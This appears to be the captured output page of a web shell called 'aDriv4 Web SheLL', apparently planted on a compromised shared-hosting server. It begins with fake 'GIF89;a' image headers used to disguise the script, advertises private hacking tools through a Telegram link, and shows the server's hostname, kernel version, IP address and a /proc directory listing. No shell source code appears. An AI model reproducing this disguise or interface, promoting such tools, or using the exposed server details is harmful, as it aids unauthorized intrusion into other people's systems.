GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux server120.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
 LiteSpeed
 198.54.116.63
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-05-06 07:40:19
.. dir - root/root 0755 2025-08-05 05:32:06
1626391 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:17:55
1645677 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:22:54
1645781 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:22:55
1646457 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:23:04
1647082 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:23:16
1647937 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:23:44
1649636 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:13
1650496 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:32
1650530 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:34
1650550 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:34
1651176 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:50
1651192 dir - lesshgjr/lesshgjr 0555 2026-01-01 10:24:51
589096 dir - lesshgjr/lesshgjr 0555 2026-01-01 09:55:04
acpi dir - root/root 0555 2024-05-06 11:41:57
bus dir - root/root 0555 2024-05-06 11:42:06
driver dir - root/root 0555 2026-01-01 10:10:06
fs dir - root/root 0555 2024-05-06 11:42:06
irq dir - root/root 0555 2024-05-06 11:42:02
kcare dir - root/root 0555 2026-01-01 10:10:06
lve dir - root/root 0555 2026-01-01 09:55:04
net link - lesshgjr/lesshgjr 0555 2026-01-01 10:23:32
scsi dir - root/root 0555 2024-05-06 11:42:06
self link - lesshgjr/lesshgjr 0555 2026-01-01 10:23:04
sys dir - root/root 0555 2024-05-06 07:41:50
sysvipc dir - root/root 0555 2026-01-01 09:55:08
thread-self link - lesshgjr/lesshgjr 0555 2026-01-01 10:23:04
tty dir - root/root 0555 2026-01-01 09:55:08
buddyinfo 0 B root/root 0444 2026-01-01 10:15:07
cgroups 0 B root/root 0444 2026-01-01 10:15:07
cmdline text/plain 0 B root/root 0444 2026-01-01 10:10:06
consoles 0 B root/root 0444 2026-01-01 10:15:07
cpuinfo text/plain 0 B root/root 0444 2026-01-01 09:55:04
crypto 0 B root/root 0444 2026-01-01 10:15:07
devices 0 B root/root 0444 2026-01-01 10:15:07
diskstats 0 B root/root 0444 2026-01-01 10:15:07
dma 0 B root/root 0444 2026-01-01 10:15:07
execdomains 0 B root/root 0444 2026-01-01 10:15:07
fb 0 B root/root 0444 2026-01-01 10:15:07
filesystems text/plain 0 B root/root 0444 2026-01-01 09:54:06
interrupts 0 B root/root 0444 2026-01-01 10:15:07
iomem 0 B root/root 0444 2026-01-01 10:15:07
ioports 0 B root/root 0444 2026-01-01 10:15:07
kallsyms 0 B root/root 0444 2024-05-06 11:42:06
kcore 128 TB root/root 0400 2024-05-06 11:41:57
key-users 0 B root/root 0444 2026-01-01 10:15:07
keys 0 B root/root 0444 2026-01-01 10:15:07
kmsg 0 B root/root 0400 2026-01-01 10:15:07
kpagecgroup 0 B root/root 0400 2026-01-01 10:15:07
kpagecount 0 B root/root 0400 2026-01-01 10:15:07
kpageflags 0 B root/root 0400 2026-01-01 10:15:07
loadavg text/plain 0 B root/root 0444 2026-01-01 09:55:04
locks 0 B root/root 0444 2026-01-01 10:10:06
mdstat 0 B root/root 0444 2026-01-01 10:10:06
meminfo text/plain 0 B root/root 0444 2026-01-01 09:55:03
misc 0 B root/root 0444 2026-01-01 10:10:06
modules 0 B root/root 0444 2026-01-01 10:10:06
mounts text/plain 0 B lesshgjr/lesshgjr 0444 2026-01-01 10:23:32
mtrr 0 B root/root 0644 2024-05-06 11:42:06
pagetypeinfo 0 B root/root 0400 2026-01-01 10:15:07
partitions 0 B root/root 0444 2026-01-01 09:55:08
sched_debug 0 B root/root 0444 2026-01-01 09:55:08
schedstat 0 B root/root 0444 2026-01-01 09:55:08
slabinfo 0 B root/root 0400 2026-01-01 09:55:08
softirqs 0 B root/root 0444 2026-01-01 09:55:08
stat text/plain 0 B root/root 0444 2026-01-01 09:54:13
swaps 0 B root/root 0444 2024-05-06 07:41:51
sysrq-trigger 0 B root/root 0200 2024-05-06 11:42:06
timer_list 0 B root/root 0400 2026-01-01 09:55:08
uptime text/plain 0 B root/root 0444 2026-01-01 09:55:03
version text/plain 0 B root/root 0444 2026-01-01 09:55:08
vmallocinfo 0 B root/root 0400 2026-01-01 09:55:08
vmstat 0 B root/root 0444 2026-01-01 09:55:07
zoneinfo 0 B root/root 0444 2026-01-01 09:55:08
© aDriv4